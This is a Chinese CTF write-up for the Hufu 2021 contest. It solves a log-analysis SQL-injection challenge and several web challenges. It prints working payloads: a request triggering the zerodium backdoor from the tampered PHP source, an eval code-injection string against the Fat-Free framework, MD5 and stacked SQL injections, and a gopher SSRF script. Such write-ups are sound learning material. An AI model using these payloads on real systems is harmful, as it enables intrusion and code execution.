虎符2021 部分题目Writeup
虎符2021 部分题目Writeup
Misc
你会日志分析吗
理论上这题更像是签到题,拿到文件后查看内容,发现是一个SQL注入。在翻的时候发现有两种Content-Length:399和377,这里377偏少,用命令带出来
strings access.log|grep "377"
把ascii码转成字符串
import base64
flag = [90,109,120,104,90,51,116,90,98,51,86,102,89,88,74,108,88,51,78,118,88,50,100,121,90,87,70,48,102,81,61,61]
flag1 = ''
for i in flag:
flag1 += chr(i)
print flag1
#ZmxhZ3tZb3VfYXJlX3NvX2dyZWF0fQ==
用base64解一下获得FLAGflag{You_are_so_great}
除了日志以外,对于流量包也可以用相同的方式来带出SQL注入的内容。
Web
签到
一开始摸不着脑袋,查了框架,然后通过代码想看看是否存在漏洞。最后还是主办方发出来了hint2021年3月28日,PHP维护的官方Git服务器 git.php.net 被袭击,其Git仓库遭到恶意篡改。如果开发者使用这些遭到篡改的源代码进行网页的开发的话,网站就会在不知情的情况下被感染
,一下子就知道是啥了。
参考P神所说:
这个后门代码很简单,它被加到zlib扩展里,当发现请求User-Agentt中包含字符串zerodium时,则用eval执行User-Agentt第8位字符后内容。黑客大概是希望传入并执行zerodiumphpinfo();这样的内容。
这里查了一下Payload直接利用
GET / HTTP/1.1
Host: eci-2ze3piaq8erabswkiucs.cloudeci1.ichunqiu.com
User-Agentt: zerodiumsystem('cat /flag');
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=876b2db877002a0475ea5dcdcabd2f5a; __jsluid_h=5ac3029577af80225b2656a16e9adba4
Upgrade-Insecure-Requests: 1
#flag{0500755a-aeff-41f3-a398-d21a1a04289c}
unsetme
代码如下
<?php
// Kickstart the framework
$f3=require('lib/base.php');
$f3->set('DEBUG',1);
if ((float)PCRE_VERSION<8.0)
trigger_error('PCRE version is out of date');
// Load configuration
highlight_file(__FILE__);
$a=$_GET['a'];
unset($f3->$a);
$f3->run();
f3框架,先去Github上吧base.php下下来,地址:https://codeload.github.com/bcosca/fatfree/zip/master ,接着就是本地调试了
在Debug的过程中发现存在一处eval()危险函数,在这前面加一句echo看看执行代码echo 'unset('.$val.');';
else {
$val=preg_replace('/^(\$hive)/','$this->hive',
$this->compile('@hive.'.$key, FALSE));
eval('unset('.$val.');');
if ($parts[0]=='SESSION') {
session_commit();
session_start();
}
if ($cache->exists($hash=$this->hash($key).'.var'))
// Remove from cache
$cache->clear($hash);
}
url/?a=b']);//
#返回
#unset($this->hive['b\'']]);//);
#发现它好像会自己补充'],于是改一下Payload
url/?a=b);//
unset($this->hive['b);//']);
#但是这时候它的']又补在了最后,继续测试
url/?a=b%0a);//
#返回
#unset($this->hive['b'] );//);
#这时候回显的内容就是我们想要的,去打的时候发现也是可行的
url/?a=b%0a);system('cat /')//
#获得flag
#这里的思路就是要闭合前面的内容,然后执行我们想要的代码。对于这种题型,先让它走一遍,知道了它经过那些函数,然后在来调Payload内容可能会好点
url/?a=b[]);phpinfo();//
#这种方式也可以,来源于Y4师傅的Payload:url/?a=b['phpinfo'()],但是他的Payload还没研究明白,呜呜呜要是有看懂请DD我
“慢慢做”管理系统
题目介绍
这个sql吧,有点ssrf的样子,首页是一个很普通的sql注入,没有什么花样,但是我的admin.php是一个内网的管理系统,只要你用“真-admin”的密码登录了,就可以拿到flag,反正慢慢做就对了,不要急躁,静下心。
一开始不给hint真不会做,就硬猜,对着没有效果的页面一顿输出。终于等到了hint第一步登录的sql语句是"SELECT * FROM users WHERE password = '".md5($password,true)."' limit 0,1";
,是md5注入,网上找了Payloadffifdyop
被过滤了,换一个就好了129581926211651571912466741651878684928
进去后给了下一个提示your way to gopher
,这里应该是要用gopher协议打admin.php。
访问admin.php试试(这里可以不用gopher协议,Payload:url/ssrf.php?way=127.0.0.1%2Fadmin.php
)通过页面的内容知道了是POST请求,提交的参数是username和password
接着编写一个报文转gopher协议请求的结构的脚本,这里用了手动的两次URL编码,这个问题之前和Y4讨论过,如果是单次URL编码,在传参时可能还是存在一些特殊字符把Payload截断了,所以这里用了两次URL编码。这题对于学习Gopher协议携带TCP数据流的语法格式挺好的。
import requests
#b = "username=admin';rename table fake_admin to word1;rename table real_admin_here_do_you_find to fake_admin;show tables;&password=1"
# b = "username=admin'or 1=1;&password=1"
# b = "username=admin';rename table fake_admin to real_admin_here_do_you_find;rename table word1 to fake_admin;show tables;&password=1"
b = "username=admin_inner&password=5fb4e07de914cfc82afb44vbaf402203"
a = """POST /admin.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: {}
""" .format(len(b))+ b
print a
Payload = ''
for i in a:
if i == '\n':
Payload += '%250d%250a'
else:
Payload += hex(ord(i)).replace('0x', '%25')
print(Payload)
url = "http://eci-2zeg9ymisdv121tyvt8o.cloudeci1.ichunqiu.com/ssrf.php?way=gopher://127.0.0.1:80/_"
cookies ={
"PHPSESSID":"fjh0g06eigi5m13rkmr945a675",
"__jsluid_h":"b989206c47cca381b8d7bb2ae4ebd14e"
}
res = requests.get(url=url+Payload,cookies=cookies)
print res.text
测试了一些关键词都被ban了,如:select
、order by
、concat
、char
等关键词,最后尝试发现Payloadusername=admin'or 1=1#&password=123
会回显内容。但是没有鸭!做不了盲注
重新选择发现可以使用堆叠注入,Payloadusername=admin';show databases;&password=123
可以获得库;Payloadusername=admin';show tables;&password=123
可以获得表;Payloadusername=admin';show columns from real_admin_here_do_you_find;&password=123
可以获得列名
这里主要是拿到表名:real_admin_here_do_you_find
,然后卡了很久,因为select
和handler
都用不了。发现修改表名的关键字rename
没有被ban掉。那就跟现在查询表名换一下,拿到用户名和密码
username:admin_inner
password:5fb4e07de914cfc82afb44vbaf402203
接着就正常登录,然后拿到PHPSESSID,访问url/flag.php
时带上新的PHPSESSID就可以获得flag了
总结
没有二进制的爷,Web狗该如何在这险恶环境下前行?